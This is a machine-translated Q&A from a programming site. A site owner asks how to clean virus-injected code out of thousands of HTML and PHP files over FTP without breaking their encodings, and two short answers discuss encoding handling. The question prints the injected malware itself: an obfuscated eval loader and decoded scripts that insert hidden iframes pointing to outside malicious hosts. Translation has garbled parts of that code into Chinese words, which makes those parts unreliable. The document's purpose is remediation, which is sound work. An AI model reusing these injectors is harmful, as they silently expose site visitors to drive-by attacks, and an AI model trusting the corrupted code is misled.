我需要从FTP下载5000多个文件,即.html和.php文件。我需要读取每个文件并删除一些被病毒放在那里的东西并将其保存回FTP。
我正在使用以下代码:
string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
content = sr.ReadToEnd();
sr.Close();
}
using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
sw.WriteLine(content);
sw.Close();
}
我手动下载了一些文件,有些文件有<meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />
,但我不想假设它们都是这样的。我用Notepad ++检查过,一些文本文件是ANSI。 PHP似乎是UTF-8和HTML Windows-1250但我宁愿在尝试修复它时确保不破坏文件。那么有没有办法让我不必知道/猜测编码,它会让我从网页中删除病毒链接?
编辑。我正试图找到并删除这样的东西:
解码后的var s = new 串();尝试{document.rvwrew.vewr}赶上(Q){R = 1; C =串;}如果(的R&amp;&安培; document.createTextNode)U = 2; E = EVAL; M = [4.5 * U ,18 / U,52.5 * U,204 / U,16 * U,80 / U,50 * U,222 / U,49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 /u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u ,33 * U,242 / U,42 * U,194 / U,51.5 * U,156 / U,48.5 * U,218 / U,50.5 * U,80 / U,19.5 * U,196 / U,55.5 * U,200 / U,60.5 * U,78 / U,20.5 * U,182 / U,24 * U,186 / U,20.5 * U,246 / U,4.5 * U,18 / U,4.5 * U ,210 / U,51 * U,228 / U,48.5 * U,218 / U,50.5 * U,228 / U,20 * U,82 / U,29.5 * U,18 / U,4.5 * U,250 /u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u ,49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 / U,23 * U,238 / U,57 * U,210 / U,58 * U,202 / U,20 * U,68 / U,30 * U,210 / U,51 * U,228 / U,48.5 * U,218 / U,50.5 * U,64 / U,57.5 * U,228 / U,49.5 * U ,122 / U,19.5 * U,208 / U,58 * U,232 / U,56 * U,116 / U,23.5 * U,94 / U,51 * U,210 / U,49 * U,202 /u,57*u,194/u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u ,50.5 * U,218 / U,56 * U,94 / U,57.5 * U,232 / U,48.5 * U,232 / U,23 * U,224 / U,52 * U,224 / U,19.5 * U,64 / U,59.5 * U,210 / U,50 * U,232 / U,52 * U,122 / U,19.5 * U,98 / U,24 * U,78 / U,16 * U,208 / U,50.5 * U,210 / U,51.5 * U,208 / U,58 * U,122 / U,19.5 * U,98 / U,24 * U,78 / U,16 * U ,230 / U,58 * U,242 / U,54 * U,202 / U,30.5 * U,78 / U, 59 * U,210 / U,57.5 * U,210 / U,49 * U,210 / U,54 * U,210 / U,58 * U,242 / U,29 * U,208 / U,52.5 * U,200 / U,50 * U,202 / U,55 * U,118 / U,56 * U,222 / U,57.5 * U,210 / U,58 * U,210 / U,55.5 * U, 220 / U,29 * U,194 / U,49 * U,230 / U,55.5 * U,216 / U,58.5 * U,232 / U,50.5 * U,118 / U,54 * U,202 / U,51 * U,232 / U,29 * U,96 / U,29.5 * U,232 / U,55.5 * U,224 / U,29 * U,96 / U,29.5 * U,78 / U, 31 * U,120 / U,23.5 * U,210 / U,51 * U,228 / U,48.5 * U,218 / U,50.5 * U,124 / U,17 * U,82 / U,29.5 * U,18 / U,4.5 * U,250 / U,4.5 * U,18 / U,51 * U,234 / U,55 * U,198 / U,58 * U,210 / U,55.5 * U, 220 / U,16 * U,210 / U,51 * U,228 / U,48.5 * U,218 / U,50.5 * U,228 / U,20 * U,82 / U,61.5 * U,18 / U,4.5 * U,18 / U,59 * U,194 / U,57 * U,64 / U,51 * U,64 / U,30.5 * U,64 / U,50 * U,222 / U, 49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 / U,23 * U,198 / U,57 * U,202 / U,48.5 * U,232 / U,50.5 * U,138 / U,54 * U,202 / U,54.5 * U,202 / U,55 * U,232 / U,20 * U,78 / U,52.5 * U,204 / U,57 * U, 194 / U,54.5 * U,202 / U,19.5 * U,82 / U,29.5 * U,204 / U,23 * U,230 / U,50.5 * U,232 / U,32.5 * U,232 / U,58 * U,228 / U,52.5 * U,196 / U,58.5 * U,232 / U,50.5 * U,80 / U,19.5 * U,230 / U,57 * U,198 / U, 19.5 * U,88 / U,19.5 * U,208 / U,58 * U,232 / U,56 * U,116 / U,23.5 * U,94 / U,51 * U,210 / U,49 * U,202 / U,57 * U,194 / U,57.5 * U,232 / U,48.5 * U,232 / U,2 3 * U,198 / U,55.5 * U,218 / U,23.5 * U,232 / U,50.5 * U,218 / U,56 * U,94 / U,57.5 * U,232 / U,48.5 * U,232 / U,23 * U,224 / U,52 * U,224 / U,19.5 * U,82 / U,29.5 * U,204 / U, 23 * U,230 / U,58 * U,242 / U,54 * U,202 / U,23 * U,236 / U,52.5 * U,230 / U,52.5 * U,196 / U,52.5 * U,216 / U,52.5 * U,232 / U,60.5 * U,122 / U,19.5 * U,208 / U,52.5 * U,200 / U,50 * U,202 / U,55 * U, 78 / U,29.5 * U,204 / U,23 * U,230 / U,58 * U,242 / U,54 * U,202 / U,23 * U,224 / U,55.5 * U,230 / U,52.5 * U,232 / U,52.5 * U,222 / U,55 * U,122 / U,19.5 * U,194 / U,49 * U,230 / U,55.5 * U,216 / U, 58.5 * U,232 / U,50.5 * U,78 / U,29.5 * U,204 / U,23 * U,230 / U,58 * U,242 / U,54 * U,202 / U,23 * U,216 / U,50.5 * U,204 / U,58 * U,122 / U,19.5 * U,96 / U,19.5 * U,118 / U,51 * U,92 / U,57.5 * U, 232 / U,60.5 * U,216 / U,50.5 * U,92 / U,58 * U,222 / U,56 * U,122 / U,19.5 * U,96 / U,19.5 * U,118 / U,51 * U,92 / U,57.5 * U,202 / U,58 * U,130 / U,58 * U,232 / U,57 * U,210 / U,49 * U,234 / U, 58 * U,202 / U,20 * U,78 / U,59.5 * U,210 / U,50 * U,232 / U,52 * U,78 / U,22 * U,78 / U,24.5 * U,96 / U,19.5 * U,82 / U,29.5 * U,204 / U,23 * U,230 / U,50.5 * U,232 / U,32.5 * U,232 / U,58 * U, 228 / U,52.5 * U,196 / U,58.5 * U,232 / U,50.5 * U,80 / U,19.5 * U,208 / U,50.5 * U,210 / U,51.5 * U,208 / U,58 * U,78 / U,22 * U,78 / U,24.5 * U,96 / U,19.5 * U,82 / U,29.5 * U,18 / U,4.5 * U,18 / U, 50 * U,222 / U,49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 / U,23 * U,206 / U,50.5 * U,232 / U,34.5 * U,216 / U,50.5 * U,218 / U,50.5 * U,220 / U,58 * U,230 / U,33 * U,242 / U,42 * U,194 / U,51.5 * U,156 / U,48.5 * U,218 / U,50.5 * U,80 / U,19.5 * U ,196 / U,55.5 * U,200 / U,60.5 * U,78 / U,20.5 * U,182 / U,24 * U,186 / U,23 * U,194 / U,56 * U,224 /u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u ,4.5 * U,18 / U,62.5 * U];若(document.createTextNode)与(c)中毫米= fromCharCode;对于(i = 0;!I = m.length;我++)S + =毫米(E(”米 “+”[ “+” 我“+ ']'));尝试{doc.qwe.removeChild()}赶上(q){E(S);}
是
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
当您访问网页时,它会告诉您(解码后)。
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
脚本最后添加3行,基本上在</html>
var
PHP脚本或多或少都有这种类型的行<iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>
,但它可以在文件的任何位置。
不确定是否还有其他方法可以重写这些文件。但是必须通过5000个文件似乎有点太多而且有风险: - )
答案 0 :(得分:3)
假设没有文件是UTF16或UTF32,并且您要与之交互的部分完全是7位ASCII,您可以打开并将其保存为Encoding.Default
,这将会往返任何文件更高的性格。
答案 1 :(得分:1)
病毒不需要知道文件编码就可以将其内容添加到您的文件中,因此显然是可行的。您不是将文件作为文本处理,而是将其作为二进制文件处理并搜索与病毒添加的模式相匹配的模式,而不是将文件视为文本吗?